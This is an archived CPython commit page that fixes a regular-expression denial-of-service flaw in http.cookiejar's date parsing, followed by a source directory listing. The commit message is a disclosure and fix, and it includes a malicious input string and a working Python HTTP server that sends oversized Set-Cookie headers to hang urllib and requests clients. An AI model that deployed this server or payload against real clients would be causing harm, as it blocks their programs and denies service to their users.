Staging
v0.5.1
v0.5.1
https://github.com/python/cpython
Revision a1e1be4c4969c7c20c8c958e5ab5279ae6a66a16 authored by Miss Islington (bot) on 22 November 2019, 14:42:06 UTC, committed by GitHub on 22 November 2019, 14:42:06 UTC
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) GH- Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) GH- Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 GH- Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): GH- Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") * Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. * Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was. (cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e) Co-authored-by: bcaller <bcaller@users.noreply.github.com>
1 parent c3cd0de
Tip revision: a1e1be4c4969c7c20c8c958e5ab5279ae6a66a16 authored by Miss Islington (bot) on 22 November 2019, 14:42:06 UTC
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
Tip revision: a1e1be4
File | Mode | Size |
---|---|---|
clinic | ||
Python-ast.c | -rw-r--r-- | 283.8 KB |
README | -rw-r--r-- | 62 bytes |
_warnings.c | -rw-r--r-- | 37.1 KB |
asdl.c | -rw-r--r-- | 1.4 KB |
ast.c | -rw-r--r-- | 188.1 KB |
ast_opt.c | -rw-r--r-- | 23.4 KB |
ast_unparse.c | -rw-r--r-- | 24.6 KB |
bltinmodule.c | -rw-r--r-- | 82.8 KB |
bootstrap_hash.c | -rw-r--r-- | 17.3 KB |
ceval.c | -rw-r--r-- | 176.3 KB |
ceval_gil.h | -rw-r--r-- | 8.4 KB |
codecs.c | -rw-r--r-- | 44.9 KB |
compile.c | -rw-r--r-- | 170.9 KB |
condvar.h | -rw-r--r-- | 8.4 KB |
context.c | -rw-r--r-- | 29.7 KB |
dtoa.c | -rw-r--r-- | 77.8 KB |
dup2.c | -rw-r--r-- | 759 bytes |
dynamic_annotations.c | -rw-r--r-- | 6.6 KB |
dynload_aix.c | -rw-r--r-- | 5.7 KB |
dynload_dl.c | -rw-r--r-- | 581 bytes |
dynload_hpux.c | -rw-r--r-- | 1.9 KB |
dynload_shlib.c | -rw-r--r-- | 3.4 KB |
dynload_stub.c | -rw-r--r-- | 186 bytes |
dynload_win.c | -rw-r--r-- | 10.0 KB |
errors.c | -rw-r--r-- | 43.4 KB |
fileutils.c | -rw-r--r-- | 52.5 KB |
formatter_unicode.c | -rw-r--r-- | 50.3 KB |
frozen.c | -rw-r--r-- | 1.8 KB |
frozenmain.c | -rw-r--r-- | 3.1 KB |
future.c | -rw-r--r-- | 4.7 KB |
getargs.c | -rw-r--r-- | 85.9 KB |
getcompiler.c | -rw-r--r-- | 538 bytes |
getcopyright.c | -rw-r--r-- | 511 bytes |
getopt.c | -rw-r--r-- | 4.6 KB |
getplatform.c | -rw-r--r-- | 133 bytes |
getversion.c | -rw-r--r-- | 308 bytes |
graminit.c | -rw-r--r-- | 53.2 KB |
hamt.c | -rw-r--r-- | 79.0 KB |
import.c | -rw-r--r-- | 66.0 KB |
importdl.c | -rw-r--r-- | 7.3 KB |
importdl.h | -rw-r--r-- | 487 bytes |
importlib.h | -rw-r--r-- | 94.2 KB |
importlib_external.h | -rw-r--r-- | 145.2 KB |
importlib_zipimport.h | -rw-r--r-- | 57.8 KB |
initconfig.c | -rw-r--r-- | 74.8 KB |
makeopcodetargets.py | -rwxr-xr-x | 1.6 KB |
marshal.c | -rw-r--r-- | 48.5 KB |
modsupport.c | -rw-r--r-- | 17.6 KB |
mysnprintf.c | -rw-r--r-- | 3.3 KB |
mystrtoul.c | -rw-r--r-- | 8.1 KB |
opcode_targets.h | -rw-r--r-- | 6.3 KB |
pathconfig.c | -rw-r--r-- | 20.1 KB |
peephole.c | -rw-r--r-- | 19.0 KB |
preconfig.c | -rw-r--r-- | 24.4 KB |
pyarena.c | -rw-r--r-- | 5.5 KB |
pyctype.c | -rw-r--r-- | 7.7 KB |
pyfpe.c | -rw-r--r-- | 345 bytes |
pyhash.c | -rw-r--r-- | 13.2 KB |
pylifecycle.c | -rw-r--r-- | 65.4 KB |
pymath.c | -rw-r--r-- | 1.6 KB |
pystate.c | -rw-r--r-- | 49.7 KB |
pystrcmp.c | -rw-r--r-- | 613 bytes |
pystrhex.c | -rw-r--r-- | 4.2 KB |
pystrtod.c | -rw-r--r-- | 40.1 KB |
pythonrun.c | -rw-r--r-- | 47.6 KB |
pytime.c | -rw-r--r-- | 26.6 KB |
strdup.c | -rw-r--r-- | 251 bytes |
structmember.c | -rw-r--r-- | 8.6 KB |
symtable.c | -rw-r--r-- | 63.5 KB |
sysmodule.c | -rw-r--r-- | 91.7 KB |
thread.c | -rw-r--r-- | 5.3 KB |
thread_nt.h | -rw-r--r-- | 11.8 KB |
thread_pthread.h | -rw-r--r-- | 23.7 KB |
traceback.c | -rw-r--r-- | 24.7 KB |
wordcode_helpers.h | -rw-r--r-- | 1.2 KB |
![swh spinner](/static/img/swh-spinner.gif)
Computing file changes ...